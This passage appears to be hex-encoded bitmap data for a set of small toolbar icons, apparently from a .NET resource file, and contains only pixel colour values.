F5005ADDF70052DCF5003383CE000000000000000000CFAFAF00E7CFCF00E7CF\n      CF00E7CFCF00D8B6B600946B6500000000000000000000000000000000000000\n      000000000000000000000000000000000000C8926C00FFFFFF00FFFFFF00FFFF\n      FF00FFFFFF00FFFFFF00FFFFFF00D3E9F5006CBBE70067C1E8005ED9F2004DDA\n      F5005ED9F20053DCF5003280C90000000000A2A2A200F0F0F000E0E0E000D5D4\n      D400BDB5B300BDB5B300BDB5B300B1B1B100C2A58B00F1D5BA00FBE4D200F1D5\n      BA00F7EDDB00FFFFFF00FFFFFF00DCBEA2000000000000000000000000006E7A\n      950072ACE70080B0E3007CB1E7006B97C30073542B00469DA10088DDF40069E0\n      F60072E2F7005DD9F20054D9F5003C85CB000000000000000000DEA5A500DBAF\n      AF00DEA5A500DEA5A50000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000C8926C00FFFFFF00FFFFFF00FFFF\n      FF00FFFFFF00FCFBF700FFFFFF00FCFBF700FFFFFF0093C8E90089DDF4006AE0\n      F60073E2F7005ED9F20053DCF5004185CF00A8A8A800E9E9E900DDDDDD00D5D4\n      D400C0B9B700BDB5B300BDB5B300BDB5B300B9A99E00D9C0A800FAF4EF00F9D8\n      BA00FFFDEE00FAF8F500D9C0A8000000000000000000000000000000000071A3\n      D600ABD1F200ADD7FD00ABD1F20091BFE700538288004DAEC500A8EEF9007DE6\n      F80099E8F8007FD4F0007DE6F8003F97DA00D3C7AC00C6997000C6997000C699\n      7000C6997000C6997000C6997000946B65000000000000000000000000000000\n      00000000000054A85D0092FDB90000000000D49E7500FFFFFF00FFFFFF00FFFF\n      FF00FCFBF700FFFFFF00FCFBF700FFFFFF00FCFBF70077BDE600A9EEF9007EE6\n      F8009AE8F8007ED1F00080E2F6004A9EDB00A8A8A800E9E9E900DDDDDD00D9D4\n      D300C5BEBD00C0BAB800BEB8B6003BA1420037943700D0C2B700AB917900DAC0\n      A600D9C0A800D9C0A800000000000000000000000000000000006A8DB600A6BE\n      DB0095C4F200A0D0FB0095C4F200B5CFE4004079A60059B7AC005CC0E900A2F0\n      FB007FD4F0007DC7EC0050A1D8003D87D000D3C7AC00FFCC7200FFCC7200FFCC\n      7200FFCF7800FFCC7200FAC37000946B6500000000000000000054A85D00A4F7\n      C900000000004E8D42008BFFB100A2F3C500D49E7500FFFFFF00FFFFFF00FCFB\n      F700FFFFFF00FCFBF700FFFFFF00FCFBF700FCFBF700A9D1EA005EC1EA00A3F0\n      FB0080D4F0007EC7EC0055A7D90000000000C0BAB800E9E9E900E0E0E000DDDD\n      DD00C5BEBD00C0BAB800C5BEBD00A0C8A40050A95600D5D4D4007E7E7E000000\n      0000000000000000000000000000000000000000000000000000607DA8004F68\n      9900607DA8007BA5D6005472A400415C9100436697007BD09E0054B2B3006EC9\n      EC00C9F3FB005BBBE30058A3890087A68900D3C7AC00FFD88B00FFD88B00FFD8\n      8B00FFD88B00FFD88B00FFD6880054A85D008BFFB100000000006D9B4B008BFF\n      B1009BEEB700000000004BA053008BFFB100D49E7500FFFFFF00FFFFFF00FFFF\n      FF00FCFBF700FFFFFF00FCFBF700FAF6F100FCFBF700FAF6F1009FC9E7006FC9\n      EC00C9F3FB0063BFE9008C807C0000000000C0BAB800EDECEC00DDDDDD00D9D8\n      D800C5BEBD00C5BEBD00C5BEBD00BEB8B600C0B9B700D9D4D300848484000000\n      0000000000000000000000000000000000000000000000000000000000004366\n      9700415C9100415C9100415C9100405A8F006E8E9D00839892007B9389004F92\n      AF0058B3D7005FAEA50076AD7A0000000000D3C7AC00F9DAA200FFE29F00FFE2\n      9F00FFE29F00FFDF9900FFD88B00946B650054A85D0092FCB600000000004BA0\n      53008BFFB100000000004E8D42008BFFB100D8A27900FFFFFF00FCFBF700FFFF\n      FF00FCFBF700FCFBF700FCFBF700FAF6F100FAF6F100FAF6F100F6EFEA008DC1\n      E1006CBBE700ADD6F100B7815E0000000000C0C0C000EDECEC00E0E0E000DDDD\n      DD00C5C5C4008E8E8E008E8E8E008E8E8E008E8E8E00D5D4D4008E8E8E000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00004B689900415C9100415C9100567786006E7A950072ACE70080B0E3007CB1\n      E7006B97C300669069000000000000000000D3C7AC00F9DAA200FFE7A900FFEB\n      B100FFEBB100FFEBB100F9DAA200946B6500439047008BFFB100000000004E8D\n      42008BFFB100000000004E8D42008BFFB100D8A27900FFFFFF00FFFFFF00FCFB\n      F700FAF6F100FCFBF700F6EFEA00FCFBF700F6EFEA00F6EFEA00F6EFEA00F2E7\n      DE00F2E7DE00FFFFFF00BA85600000000000C5C5C400F0F0F000E0E0E000DDDD\n      DD00C5C5C400C8C2C100C6C1BF00C5BEBD00C5BEBD00D9D4D300919191000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000071A3D600ABD1F200ADD7FD00ABD1\n      F20091BFE7007C91A9000000000000000000D3C7AC00F9DAA200FFE7A900F7ED\n      C300FFFDD300FFEBB100F1D6AB00946B650054A85D0092FCB600000000004BA0\n      53008BFFB100000000004E8D42008BFFB100D8A27900FFFFFF00FFFFFF00FFFF\n      FF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFF\n      FF00FFFFFF00FFFFFF00BA85600000000000C9C9C900EDECEC00EDECEC00DDDD\n      DD00C8C2C10098989800919191009191910091919100D9D4D300989898000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000007A9FC400B5CFE40095C4F200A0D0FB0095C4\n      F200B5CFE4004991C6000000000000000000D7CACA00D7CACA00D7CACA00D7CA\n      CA00DABBA500DABBA500DABBA50054A85D008BFFB100000000004E9A54008BFF\n      B100A2E9BA00000000004BA053008BFFB100D8A27900DCA67A00D8A27900DCA6\n      7A00D8A27900DCA67A00D8A27900DCA67A00D8A27900DCA67A00D8A27900DCA6\n      7A00D8A27900DCA67A00C38E68000000000000000000D1D1D100DDDDDD00E9E9\n      E900D3CECD00C8C2C100CFCAC900C8C2C100C8C2C100DDDDDD00989898000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000078A2C60033ADE50064B7E6008CC8F6003AAC\n      E6001CA6E5002F9CD60000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000000000000000000054A85D00ACF3\n      CD0000000000508F44008BFFB100B0EDD000DDAD8600E8B99200E8B99200E8B9\n      9200E8B99200E8B99200E8B99200E8B99200E8B99200E8B99200E8B99200E8B9\n      9200E8B99200E8B99200C1917000000000000000000000000000DDDDDD00DDDD\n      DD00E0E0E000E1DEDD00E0E0E000E0E0E000D9D4D300F0F0F000A8A8A8000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000022A1DE001CA6E50018A4E40018A4\n      E4001CA6E50082AAC40000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000054A85D0092FDB9000000000000000000E8B99200D8A27900DCA6\n      7A00D8A27900D8A27900D8A27900D49E7500D49E7500D49E7500CC976F00C892\n      6C00C8926C00C79E80000000000000000000000000000000000000000000E0E0\n      E000C9C9C900C5C5C400C5BEBD00C0BAB800B5B5B500B9B1AE00C5C5C4000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000000000002F9CD6001CA6E50022A1\n      DE0076A5C3000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000000000000C3917300A6613D000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000000000000A6613D00A6613D000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000006469DF005058DC005058DC004F56DA004850DA005058DC000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000073C0730060B7600064B8640060B7600060B7600068BB68000000\n      000000000000000000000000000000000000CDA17D00BE865C00B97E5600A965\n      3E00A9653E000000000000000000000000006B69F10000000000000000000000\n      0000000000005553EC000000000000000000BE865C00BE865C00B97E5600A965\n      3E000000000000000000000000000000000090AAD40081A1D20081A1D20081A1\n      D20090AAD4000000000000000000000000000000000000000000000000000000\n      0000727AE6008896FA008394FF007E8FFC007E8FFC007C8CF7007C8CF7005058\n      DC00000000000000000000000000000000000000000000000000000000000000\n      00007EC47E0094CE940094CE940094CE940089C9890089C9890089C9890060B7\n      600000000000000000000000000000000000C58A5C00C5916800CDA28000C391\n      7300B67B5300AB6A4600895A7A006357DC006865FB005E5DF200000000000000\n      0000504DEF005351F8004C4AEC0000000000BE865C00C5916800CDA28000C391\n      7300B67B5300AB6A4600B1897700A9BEDF00BFD3ED00E2D7D200EAD9D000DEDB\n      DE00BFD3ED007FA3DB0000000000000000000000000000000000000000007D85\n      E70095A4FA005973FF00314EFF002F4EFF002B49FE002441FA00475FF9008593\n      F400686EE10000000000000000000000000000000000000000000000000085C8\n      8500A1D4A1007EC47E0060B7600060B7600060B7600056B256006BBC6B0094CE\n      940073C0730000000000000000000000000000000000C78E6300D1A58200CDA1\n      7D00CD9F7A00C7997400BF907100A37F8B006761EE006B69FD00605FF4005E5D\n      F2005F5DFB00514FF300000000000000000000000000C78E6300D1A58200CDA1\n      7D00CD9F7A00C7997400CBD1DA00E4ECF500F5E7DE00E8B08D00ED9F6F00E4A0\n      7600F5E0D200E8EEF7009BB7E200000000000000000000000000858CE9009DAC\n      FB006481FF00405DFF003F5DFF003F5DFF003654FF00314EFF002441FA004A68\n      FF008895F600656DE0000000000000000000000000000000000089C98900A5D6\n      A50082C682006BBC6B006BBC6B0064B8640064B8640064B8640060B760006BBC\n      6B0094CE940073C07300000000000000000000000000C78E6300D0A17C00D7AE\n      8F00C9976F00C78E6300BD885C00C78E6300A97E7E006963EB006B69FD006865\n      FB006260F5000000000000000000000000000000000000000000D0A17C00D7AE\n      8F00C5916800C5916800D1DAE100FCFAF900F7D6C000DEA4800075523D00D88F\n      6300F0BD9F00FBF8F700A9BEDF000000000000000000878DE700A1B1FC00728E\n      FF004E6DFF004E6DFF004A68FF004562FF003F5DFF003F5DFF003654FF002F4E\n      FF004A68FF008394FF005E65DE00000000000000000089C98900AAD8AA0089C9\n      890073C0730073C0730073C073006BBC6B006BBC6B0064B8640064B8640060B7\n      600073C0730094CE94006BBC6B00000000000000000000000000D1A58200DCB5\n      9800CDA17D00CB997200CDA28000C7997400846A6C006D6BEE00726EFF006B69\n      FD006260F5000000000000000000000000000000000000000000D0A17C00E0BA\n      9F00D0A17C00CB997200C5CFD800BFD3ED00ECCFBF00E5B1910057413300E4A0\n      7600F2C0A200B8D1F20090AAD4000000000000000000878DE700A5BAFF005E7D\n      FF005E7DFF005E7DFF005472FF004E6DFF004A68FF004562FF003F5DFF003A58\n      FF00314EFF008394FF005058DC00000000000000000089C98900AAD8AA007EC4\n      7E007EC47E007EC47E007EC47E0073C0730073C073006BBC6B006BBC6B0064B8\n      640064B8640097D0970064B86400000000000000000000000000DDAE8C00E5BF\n      A300DDAE8C00D8B09200CD9F7A009B787C007673F3007F7BFE00706DF2007370\n      F9007370F9006260F50000000000000000000000000000000000DDAE8C00E2BE\n      A400DDAE8C00D9B29400D5B69D00BFD1E300ABBED100B4B2B700CCB9B100BAA9\n      A500A8B7D00094BAEC000000000000000000000000008E93E800AABDFF006D8D\n      FF006481FF006481FF005E7DFF005973FF005472FF004E6DFF004A68FF004562\n      FF003F5DFF00899AFF006469DF00000000000000000094CE9400AAD8AA0089C9\n      890085C8850082C682007EC47E007EC47E0073C0730073C0730073C073006BBC\n      6B006BBC6B00A1D4A1006BBC6B00000000000000000000000000E3B49300E8C6\n      AD00E5BFA300D8B09200A68897008E89F7008582FF007A77F400000000000000\n      00006963EB007775FD006B69F100000000000000000000000000E5B19100E8C6\n      AD00E2BEA400DBB08F00B69F8C00C5CFD800C5CFD800B4CCE200A8C0DF00ABC5\n      E600B0B2C300B99890000000000000000000000000009399E800B0C3FF007697\n      FF007292FF006D8DFF006D8DFF006481FF005E7DFF005E7DFF005472FF004E6D\n      FF004562FF0095A4FA00656DE000000000000000000094CE9400B1DCB10089C9\n      890089C9890085C8850085C8850082C6820082C682007EC47E0073C0730073C0\n      730073C07300A1D4A1006BBC6B00000000000000000000000000E3B49300E8C0\n      A300E5BFA300B69F8C00ACABB100A3A2C5009492FE000000000000000000A25D\n      3B009A6D77007165DF00775AAC0000000000000000000000000000000000E8C0\n      A300E2BEA400B69F8C00AEAEAE00B4B2B7000000000000000000A25D3B00A25D\n      3B00AD724C00A25D3B009E5D480000000000000000009399E800B9CEFE007C9F\n      FF007C9FFF007292FF007292FF006D8DFF006481FF006481FF005E7DFF005973\n      FF004E6DFF0097A9FF006A70E100000000000000000094CE9400B1DCB10094CE\n      940094CE940089C9890089C9890089C9890085C8850082C6820082C682007EC4\n      7E006BBC6B00A5D6A50073C0730000000000000000000000000000000000E8C0\n      A300CFB19D00B7B7B700BDBDBD00B7B7B7000000000000000000B2724A00BE86\n      5C00C78E6300B3866E0095503E00000000000000000000000000000000000000\n      0000D5B69D00B4B2B700BDBDBD00B4B2B70000000000B1724700B1724700BE86\n      5C00C78E6300BB8A6000995033000000000000000000A4A9EC00B9CEFE009BBA\n      FF0081A5FF0081A5FF007C9FFF007C9FFF007292FF006D8DFF006D8DFF005E7D\n      FF007292FF009DACFB007D85E7000000000000000000A5D6A500BBE0BB00A5D6\n      A50094CE940094CE940094CE940089C9890089C9890089C9890085C885007EC4\n      7E0089C98900A5D6A50085C88500000000000000000000000000000000000000\n      000000000000C4C4C400BDBDBD000000000000000000C58A5C00CB997200CD9F\n      7A00BE865C00C5916800A6613D00000000000000000000000000000000000000\n      000000000000B4B2B700BDBDBD0000000000BE865C00C78E6300C5916800CD9F\n      7A00BE865C00C5916800A25D3B00000000000000000000000000ADB3F000C0D2\n      FC009BBAFF0088AAFF0081A5FF0080A1FF007C9FFF007292FF006D8DFF0081A5\n      FF00AABDFF008E93E80000000000000000000000000000000000AAD8AA00BBE0\n      BB00A5D6A500A1D4A10094CE940094CE940094CE940089C9890089C98900A1D4\n      A100AAD8AA0094CE940000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000DDAE8C00D8B09200D8B09200CB99\n      7200C78E6300C99D7900B2724A00000000000000000000000000000000000000\n      0000000000000000000000000000C9976F00DDAE8C00D9B29400D9B29400CB99\n      7200C5916800CD9F7A00B2724A0000000000000000000000000000000000B0B6\n      F000C0D2FC00A2C1FF008AAEFF008AAEFF0081A5FF007C9FFF0097A9FF00B3C2\n      FB009DA2EB00000000000000000000000000000000000000000000000000AAD8\n      AA00BBE0BB00A5D6A500A1D4A10097D0970097D0970094CE9400A1D4A100AAD8\n      AA00A1D4A1000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000E3B49300E8C0A300E0BA9F00D7AE8F00D1A5\n      8200CB997200CDA28000BD885C00B2724A000000000000000000000000000000\n      0000000000000000000000000000C9976F00D5B69D00DFB99D00D7AE8F00D1A5\n      8200CB997200D1A58200BE865C00000000000000000000000000000000000000\n      0000B1B8F100C0D2FC00C0D2FC00B9CEFE00B9CEFE00B9CEFE00B6C8FC009399\n      E800000000000000000000000000000000000000000000000000000000000000\n      0000AAD8AA00BBE0BB00BBE0BB00BBE0BB00B1DCB100BBE0BB00B1DCB10097D0\n      9700000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000E3B49300E8C0A300E9C8B000E8C6AD00E5BF\n      A300DFB99D00D7AE8F00CDA28000B2724A000000000000000000000000000000\n      000000000000000000000000000000000000C9976F00E9C8B000E6C2A800E2BE\n      A400DFB99D00D7AE8F00CDA17D00B67948000000000000000000000000000000\n      000000000000AEB2EE00A4A9EC00A4A9EC00A4A9EC009DA2EB00A4A9EC000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000AAD8AA00A5D6A500A5D6A500A5D6A500A1D4A100A1D4A1000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000E3B49300E0BA9F00E3B49300D8B0\n      9200D7AE8F00D8B09200D0A17C00D1A582000000000000000000000000000000\n      00000000000000000000000000000000000000000000DFB99D00E5B19100D9B2\n      9400DBB08F00D9B29400D0A17C00B67948000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000DAA98300DAA98300D0A17C00000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000DAA98300D0A17C00000000006666660066666600666666000000\n      000066666600000000006666660066666600666666000000000000000000037E\n      2600000000000000000000000000000000006666660066666600666666000000\n      000066666600000000006666660066666600666666000000000000000000037E\n      2600000000000000000000000000000000006666660066666600666666000000\n      00006666660000000000666666006666660066666600968A21009A9228009E99\n      3000A29F3600A4A23C0000000000000000006666660066666600666666000000\n      00006666660000000000666666006666660066666600968A21009A9228009E99\n      3000A29F3600A4A23C0000000000000000006666660000000000666666000000\n      000066666600000000006666660000000000666666000000000013853F003B9F\n      5B00088637000000000000000000000000006666660000000000666666000000\n      000066666600000000006666660000000000666666000000000013853F003B9F\n      5B00088637000000000000000000000000006666660000000000666666000000\n      0000666666000000000066666600000000006666660091831C00CAC48F00CDC9\n      9300CDC99300A4A23C0000000000000000006666660000000000666666000000\n      0000666666000000000066666600000000006666660091831C00CAC48F00CDC9\n      9300CDC99300A4A23C0000000000000000006666660066666600666666000000\n      00006666660000000000666666006666660066666600288F420046A4660081C1\n      960046A466001990470000000000000000006666660066666600666666000000\n      00006666660000000000666666006666660066666600288F420046A4660081C1\n      960046A466001990470000000000000000006666660066666600666666000000\n      000066666600000000006666660066666600666666008F7F1600CAC48F00B9B2\n      6E00CDC99300A29F360000000000000000006666660066666600666666000000\n      000066666600000000006666660066666600666666008F7F1600CAC48F00B9B2\n      6E00CDC99300A29F360000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000288F420046A4660081C1960066B4\n      810089C6A0004EAA730027975600000000000000000000000000000000000000\n      000000000000000000000000000000000000288F420046A4660081C1960066B4\n      810089C6A0004EAA730027975600000000000000000000000000000000000000\n      000000000000000000000000000000000000000000008B781100C4BB8700B7AE\n      6A00CAC48F009D982F0000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000000000008B781100C4BB8700B7AE\n      6A00CAC48F009D982F0000000000000000006666660000000000666666006666\n      6600666666000000000066666600037A1D0042A05E007FC0950066B4810066B4\n      810073BB8F0090CBA90059B28000309E64006666660000000000666666006666\n      6600666666000000000066666600037A1D0042A05E007FC0950066B4810066B4\n      810073BB8F0090CBA90059B28000309E64006666660000000000666666006666\n      6600666666000000000066666600846912008B7811009E8E3A00C4BB8700B5AC\n      6500CAC48F00AEA85400A1A33300A4A23C006666660000000000666666006666\n      6600666666000000000066666600846912008B7811009E8E3A00C4BB8700B5AC\n      6500CAC48F00AEA85400A1A33300A4A23C006666660000000000666666000000\n      000066666600000000006666660012843000128A3A003B9F5B0087C49D0066B4\n      81008FCAA80054AE7B0033A36D003BA775006666660000000000666666000000\n      000066666600000000006666660012843000128A3A003B9F5B0087C49D0066B4\n      81008FCAA80054AE7B0033A36D003BA775006666660000000000666666000000\n      00006666660000000000666666007A580300A08D4200C0B57F00B7AE6A00B2A7\n      6000BBB37300CBC79000B2AC59009D982F006666660000000000666666000000\n      00006666660000000000666666007A580300A08D4200C0B57F00B7AE6A00B2A7\n      6000BBB37300CBC79000B2AC59009D982F006666660000000000666666006666\n      6600666666000000000066666600000000000000000013853F0089C6A00066B4\n      810090CBA900309E640000000000000000006666660000000000666666006666\n      6600666666000000000066666600000000000000000013853F0089C6A00066B4\n      810090CBA900309E640000000000000000006666660000000000666666006666\n      66006666660000000000666666000000000090772D00A08D4200C1B68100B2A7\n      6000C8C18C00AAA14E00968A2100000000006666660000000000666666006666\n      66006666660000000000666666000000000090772D00A08D4200C1B68100B2A7\n      6000C8C18C00AAA14E00968A2100000000000000000000000000000000000000\n      00000000000000000000000000000000000000000000168F43008FCAA8006EB9\n      8D0090CBA90033A36D0000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000000000000168F43008FCAA8006EB9\n      8D0090CBA90033A36D0000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000090772D00A4934700C1B6\n      8100A493470091831C0000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000090772D00A4934700C1B6\n      8100A493470091831C0000000000000000006666660066666600666666000000\n      00006666660000000000666666006666660066666600199047008FCAA80090CB\n      A90090CBA90033A36D00000000000000000000000000000000008E8795004E74\n      94004E749400929CB000000000000000000000000000199047008FCAA80090CB\n      A90090CBA90033A36D0000000000000000006666660066666600666666000000\n      0000666666000000000066666600666666006666660000000000847613009E8E\n      3A008676080000000000000000000000000000000000000000008E8795004D6E\n      8D004E749400929CB00000000000000000000000000000000000847613009E8E\n      3A00867608000000000000000000000000006666660000000000666666000000\n      0000666666000000000066666600000000006666660027975600289A5A00309E\n      640036A26A0036A26A0000000000000000000000000048728D00ABABA000D1B9\n      A500D1B9A500999999004E749400000000000000000027975600289A5A00309E\n      640036A26A0036A26A0000000000000000006666660000000000666666000000\n      0000666666000000000066666600000000006666660000000000000000008066\n      0500000000000000000000000000000000000000000048728D00ABABA000D1B9\n      A500CEB4A20098A099004D6E8D00000000000000000000000000000000008066\n      0500000000000000000000000000000000006666660066666600666666000000\n      0000666666000000000066666600666666006666660000000000000000000000\n      0000000000000000000000000000000000009AAABA00BFB5A400FBEFE300FCFC\n      FB00FCFCFB00FBEFE3009FA195008E97AC000000000000000000000000000000\n      0000000000000000000000000000000000006666660066666600666666000000\n      0000666666000000000066666600666666006666660000000000000000000000\n      0000000000000000000000000000000000009AAABA00BFB5A400FBEFE300FFFF\n      FF00FFFFFF00FBECDF009FA195008E97AC000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000739EB400E6C3A800FCFCFB007B76\n      85007B768500FCFCFB00D8B49200537C9A000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000739EB400E6C3A800FFFFFF007B76\n      85007B768500FFFFFF00D8B49200537C9A000000000000000000000000000000\n      0000000000000000000000000000000000006666660000000000666666006666\n      6600666666000000000066666600000000006666660066666600666666000000\n      00006666660000000000000000000000000085ABBD00EACBB500FCFCFB007B76\n      8500FCFCFB00FCFCFB00E1BFA10055819E000000000000000000000000000000\n      0000000000000000000000000000000000006666660000000000666666006666\n      6600666666000000000066666600000000006666660066666600666666000000\n      00006666660000000000000000000000000085ABBD00EACBB500FFFFFF007B76\n      8500FFFFFF00FFFFFF00E1BFA10055819E000000000000000000000000000000\n      0000000000000000000000000000000000006666660000000000666666000000\n      0000666666000000000066666600000000006666660000000000666666000000\n      000066666600000000000000000000000000A8C3D100E4D0C100F5F5F5007B76\n      8500FCFCFB00FBEFE300C3B6A800929CB0000000000000000000000000000000\n      0000000000000000000000000000000000006666660000000000666666000000\n      0000666666000000000066666600000000006666660000000000666666000000\n      000066666600000000000000000000000000A8C3D100E4D0C100FAF3F0007B76\n      8500FFFFFF00F8EFE600C3B6A8008E9DB0000000000000000000000000000000\n      0000000000000000000000000000000000006666660000000000666666006666\n      6600666666000000000066666600000000006666660066666600666666000000\n      000066666600000000000000000000000000000000009ABECA00E4D0C100EDD0\n      BF00EBCBB900D9C9B800739EB400000000000000000000000000000000000000\n      0000000000000000000000000000000000006666660000000000666666006666\n      6600666666000000000066666600000000006666660066666600666666000000\n      000066666600000000000000000000000000000000009ABECA00E4D0C100EDD0\n      BF00EBCBB900D9C9B8006E99B000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000000000000000000008DA6B40087B0\n      BF0085ABBD006882930000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000000000000000000008DA6B40087B0\n      BF007FA7B8006882930000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000052525200525252005252\n      5200525252005252520052525200525252005252520052525200525252005252\n      5200525252005252520000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000999999007E7E\n      7E007E7E7E00767676007E7E7E0076767600767676007676760076767600037E\n      26007E7E7E009595950000000000000000000000000000000000999999007E7E\n      7E007E7E7E0077777700777777007E7E7E0077777700968A21009A9228009E99\n      3000A29F3600A4A23C000000000000000000A9A9A900A9A9A900A9A9A900A9A9\n      A900A9A9A900A9A9A900A9A9A900A9A9A900A9A9A900A9A9A900A9A9A900A9A9\n      A900A9A9A900A9A9A90052525200000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000088888800F1F1F100E8E8\n      E800E8E8E800E8E8E800E8E8E800E8E8E800F1F1F100E8E8E80013853F003B9F\n      5B0008863700FCFCFB0088888800000000000000000086868600F1F1F100E8E8\n      E800E8E8E800E8E8E800E8E8E800E6E6E600F1F1F10091831C00CAC48F00CDC9\n      9300CDC99300A4A23C008686860000000000A9A9A900FFFFFF00D4D4D40052FF\n      5200D4D4D400D4D4D400D4D4D400D4D4D400D4D4D400D4D4D400A9A9A900D4D4\n      D400D4D4D400A9A9A900A9A9A900525252000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000000000007E7E7E00E8E8E800E8E8\n      E800E8E8E800E8E8E800E8E8E800E8E8E800E8E8E800288F420046A4660081C1\n      960046A46600199047007676760000000000000000007E7E7E00E8E8E800E8E8\n      E800E8E8E800E8E8E800E6E6E600E6E6E600E6E6E6008F7F1600CAC48F00B9B2\n      6E00CDC99300A29F36007777770000000000A9A9A900FFFFFF00D4D4D400D4D4\n      D400D4D4D400D4D4D400D4D4D400525252005252520052525200525252005252\n      5200D4D4D400A9A9A900A9A9A900525252000000000000000000808080008080\n      8000808080008080800080808000808080008080800080808000808080008080\n      8000808080008080800000000000000000000000000088888800E8E8E800E8E8\n      E800E8E8E800E8E8E800E8E8E800E8E8E800288F420046A4660081C1960066B4\n      810089C6A0004EAA730027975600000000000000000086868600E8E8E800E8E8\n      E800E8E8E800E8E8E800E6E6E600E6E6E600E6E6E6008B781100C4BB8700B7AE\n      6A00CAC48F009D982F007E7E7E0000000000A9A9A900FFFFFF00FFFFFF00FFFF\n      FF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFF\n      FF00FFFFFF00A9A9A900A9A9A90052525200000000000000000080808000FFFF\n      FF0000FFFF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0\n      C00000FFFF008080800000000000000000000000000088888800E8E8E800E8E8\n      E800E8E8E800E8E8E800E8E8E800037A1D0042A05E007FC0950066B4810066B4\n      810073BB8F0090CBA90059B28000309E64000000000086868600F1F1F100E8E8\n      E800E8E8E800E8E8E800E6E6E600846912008B7811009E8E3A00C4BB8700B5AC\n      6500CAC48F00AEA85400A1A33300A4A23C000000000052525200525252005252\n      5200525252005252520052525200525252005252520052525200525252005252\n      520052525200A9A9A900A9A9A900525252000000000080808000FFFFFF0000FF\n      FF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0C00000FF\n      FF00C0C0C0000000000080808000000000000000000088888800F1F1F100E8E8\n      E800E8E8E800E8E8E800E8E8E80012843000128A3A003B9F5B0087C49D0065B5\n      84008FCAA80054AE7B0033A36D003BA775000000000086868600E8E8E800E8E8\n      E800E8E8E800E8E8E800E6E6E6007A580300A08D4200C0B57F00B7AE6A00B2A7\n      6000BBB37300CBC79000B2AC59009D982F0000000000A9A9A900A9A9A900A9A9\n      A900A9A9A900A9A9A900A9A9A900A9A9A900A9A9A900A9A9A900A9A9A900A9A9\n      A900A9A9A90052525200A9A9A900000000000000000080808000FFFFFF00C0C0\n      C00000FFFF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0\n      C000808080000000000080808000000000000000000088888800F1F1F100E8E8\n      E800E8E8E800E8E8E800E8E8E800E8E8E800E8E8E80013853F0089C6A00066B4\n      810093CDAC002F9D620088888800000000000000000086868600F1F1F100E8E8\n      E800E8E8E800E8E8E800E8E8E800E8E8E80090772D00A08D4200C1B68100B2A7\n      6000C8C18C00AAA14E00968A21000000000000000000A9A9A900FFFFFF00D4D4\n      D400D4D4D400D4D4D400D4D4D400D4D4D400D4D4D400D4D4D400D4D4D400D4D4\n      D400A9A9A900A9A9A900525252000000000080808000FFFFFF00C0C0C00000FF\n      FF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0C00000FF\n      FF00000000008080800080808000000000000000000088888800F1F1F100E8E8\n      E800E8E8E800E8E8E800E8E8E800E8E8E800E8E8E800168F43008FCAA8006EB9\n      8D0093CDAC0033A1680088888800000000000000000088888800F1F1F100E8E8\n      E800F1F1F100E8E8E800E8E8E800E8E8E800E6E6E60090772D00A4934700C1B6\n      8100A493470091831C00888888000000000000000000A9A9A900FFFFFF00D4D4\n      